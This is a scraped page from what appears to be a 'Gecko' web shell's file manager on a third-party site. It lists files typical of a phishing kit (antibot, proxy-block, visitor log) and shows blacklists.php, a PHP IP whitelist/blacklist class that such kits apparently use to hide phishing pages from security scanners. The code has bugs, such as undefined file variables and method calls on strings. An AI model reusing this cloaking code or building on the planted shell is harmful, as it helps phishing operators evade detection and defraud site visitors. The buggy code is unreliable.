Gecko [ www.ensafeindia.com ]

Name	Size	Permission
config	[ DIR ]	drwxr-xr-x
Dila_DZ.php	1.18 KB	-rw-r--r--
antibot.php	1.98 KB	-rw-r--r--
blacklists.php	7.81 KB	-rw-r--r--
error_log	938.26 KB	-rw-r--r--
index.php	1.04 KB	-rw-r--r--
proxyblock.php	2.79 KB	-rw-r--r--
visit.txt	16.43 KB	-rw-r--r--

Code Editor : blacklists.php

<?php
class IpList {

private $iplist = array();
    private $ipfile = "";

public function __construct( $list ) {
        $contents = array();
        $this->ipfile = $list;
        $lines = $this->read( $list );
        foreach( $lines as $line ) {
            $line = trim( $line );
            # remove comment and blank lines
            if ( empty($line ) ) {
                continue;
            }
            if ( $line[0] == '#' ) {
                continue;
            }
            # remove on line comments
            $temp = explode( "#", $line );
            $line = trim( $temp[0] );
            # create content array
            $contents[] = $this->normal($line);
        }
        $this->iplist = $contents;
    }

public function __destruct() {
    }

public function __toString() {
        return implode(' ',$this->iplist);
    }

public function is_inlist( $ip ) {
        $retval = false;
        foreach( $this->iplist as $ipf ) {
            $retval = $this->ip_in_range( $ip, $ipf );
            if ($retval === true ) {
                $this->range = $ipf;
                break;
            }
        }
        return $retval;
    }

/*
    ** public function that returns the ip list array
    */
    public function iplist() {
        return $this->iplist;
    }

/*
    */
    public function message() {
        return $this->range;
    }

public function append( $ip, $comment ) {
        return file_put_contents( $this->ipfile, $ip, $comment );
    }

public function listname() {
        return $this->ipfile;
    }

/*
    ** private function that reads the file into array
    */
    private function read( $fname ) {
        try {
            $file = file( $fname, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES  );
        }
        catch( Exception $e ) {
            throw new Exception( $fname.': '.$e->getmessage() . '\n');
        }
        return $file;
    }

private function ip_in_range( $ip, $range ) {

// return ip_in_range( $ip, $range );

if ( strpos($range, '/') !== false ) {
            // IP/NETMASK format
            list( $range, $netmask ) = explode( '/', $range, 2 );
            if ( strpos( $netmask, '.' ) !== false ) {
                // 255.255.255.0 format w/ wildcards
                $netmask = str_replace('*', '0', $netmask );
                $dnetmask = ip2long( $netmask );
                return ((ip2long( $ip ) & $dnetmask) == (ip2long($range) & $dnetmask ));
            }
            else {
                // IP/CIDR format
                // insure $range format 0.0.0.0
                $r = explode( '.', $range );
                while( count( $r ) < 4 ) {
                    $r[] = '0';
                }
                for($i = 0; $i < 4; $i++) {
                    $r[$i] = empty($r[$i]) ? '0': $r[$i];
                }
                $range = implode( '.', $r );
                // build netmask
                $dnetmask = ~(pow( 2, ( 32 - $netmask)) - 1);
                return ((ip2long($ip) & $dnetmask)==(ip2long($range) & $dnetmask));
            }
        }
        else {
            if ( strpos( $range, '*' ) !== false ) {
                // 255.255.*.* format
                $low = str_replace( '*', '0', $range );
                $high = str_replace( '*', '255', $range );
                $range = $low.'-'.$high;
            }
            if ( strpos( $range, '-') !== false ) {
                // 128.255.255.0-128.255.255.255 format
                list( $low, $high ) = explode( '-', $range, 2 );

$dlow  = $this->toLongs( $low );
                $dhigh = $this->toLongs( $high );
                $dip   = $this->toLongs( $ip );
                return (($this->compare($dip,$dlow) != -1) && ($this->compare($dip,$dhigh) != 1));
            }
        }
        return ( $ip == $range );
    }

private function normal( $range ) {
        if ( strpbrk( "*-/", $range ) === False ) {
            $range .= "/32";
        }
        return str_replace( ' ', '', $range );
    }

private function toLongs( $ip ) {
        # $Ip = $this->expand();
        # $Parts = explode(':', $Ip);
        $Parts = explode('.', $ip );
        $Ip = array('', '');
        # for ($i = 0; $i < 4; $i++) {
        for ($i = 0; $i < 2; $i++){
            $Ip[0] .= str_pad(base_convert($Parts[$i], 16, 2), 16, 0, STR_PAD_LEFT);
        }
        # for ($i = 4; $i < 8; $i++) {
        for ($i = 2; $i < 4; $i++) {
            $Ip[1] .= str_pad(base_convert($Parts[$i], 16, 2), 16, 0, STR_PAD_LEFT);
        }
        return array(base_convert($Ip[0], 2, 10), base_convert($Ip[1], 2, 10));
    }

private function compare( $ipdec1, $ipdec2 ) {
        if( $ipdec1[0] < $ipdec2[0] ) {
            return -1;
        }
        elseif ( $ipdec1[0] > $ipdec2[0] ) {
            return 1;
        }
        elseif ( $ipdec1[1] < $ipdec2[1] ) {
            return -1;
        }
        elseif ( $ipdec1[1] > $ipdec2[1] ) {
            return 1;
        }
        return 0;
    }
}

class IpBlockList {

private $statusid = array( 'negative' => -1, 'neutral' => 0, 'positive' => 1 );

private $whitelist = array();
    private $blacklist = array();
    private $message   = NULL;
    private $status    = NULL;

public function __construct() {
        if(file_exists("blacklist.dat")) {
            $this->whitelistfile = "whitelist.dat";
            $this->blacklistfile = "blacklist.dat";
        } elseif(file_exists("../blacklist.dat")) {
            $this->whitelistfile = "../whitelist.dat";
            $this->blacklistfile = "../blacklist.dat";
        } else {
            $this->whitelistfile = "../../whitelist.dat";
            $this->blacklistfile = "../../blacklist.dat";
        }

$this->whitelist = new IpList( $whitelistfile );
        $this->blacklist = new IpList( $blacklistfile );
    }

public  function    __destruct() {
    }

public function ipPass( $ip ) {
        $retval = False;

if ( !filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) {
            throw new Exception( 'Requires valid IPv4 address' );
        }

if ( $this->whitelist->is_inlist( $ip ) ) {
            // Ip is white listed, so it passes
            $retval = True;
            $this->message = $ip . " is whitelisted by ".$this->whitelist->message().".";
            $this->status = $this->statusid['positive'];
        }
        else if ( $this->blacklist->is_inlist( $ip ) ) {
            $retval = False;
            $this->message = $ip . " is blacklisted by ".$this->blacklist->message().".";
            $this->status = $this->statusid['negative'];
        }
        else {
            $retval = True;
            $this->message = $ip . " is unlisted.";
            $this->status = $this->statusid['neutral'];
        }
        return $retval;
    }

public function message() {
        return $this->message;
    }

public function status() {
        return $this->status;
    }

public function append( $type, $ip, $comment = "" ) {
        if ($type == 'WHITELIST' ) {
            $retval = $this->whitelistfile->append( $ip, $comment );
        }
        elseif( $type == 'BLACKLIST' ) {
            $retval = $this->blacklistfile->append( $ip, $comment );
        }
        else {
            $retval = false;
        }
    }

public function filename( $type, $ip, $comment = "" ) {
        if ($type == 'WHITELIST' ) {
            $retval = $this->whitelistfile->filename( $ip, $comment );
        }
        elseif( $type == 'BLACKLIST' ) {
            $retval = $this->blacklistfile->filename( $ip, $comment );
        }
        else {
            $retval = false;
        }
    }
}

${this.title}

Code Editor : blacklists.php